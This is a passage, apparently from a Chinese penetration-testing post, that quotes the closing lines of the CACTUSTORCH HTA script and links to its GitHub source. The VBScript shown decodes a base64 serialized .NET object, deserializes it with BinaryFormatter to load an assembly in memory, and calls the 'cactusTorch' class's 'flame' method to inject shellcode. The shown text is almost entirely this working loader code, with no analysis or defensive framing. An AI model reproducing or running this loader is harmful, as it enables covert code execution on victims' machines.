s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv"
s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"
entry_class = "cactusTorch"

Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector

Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.flame binary,code
End Sub

SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
 Debug Err.Description
 Err.Clear
End If
```

```
212
213 self.close
214 </script>
215
```

来源：
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

- Micropoor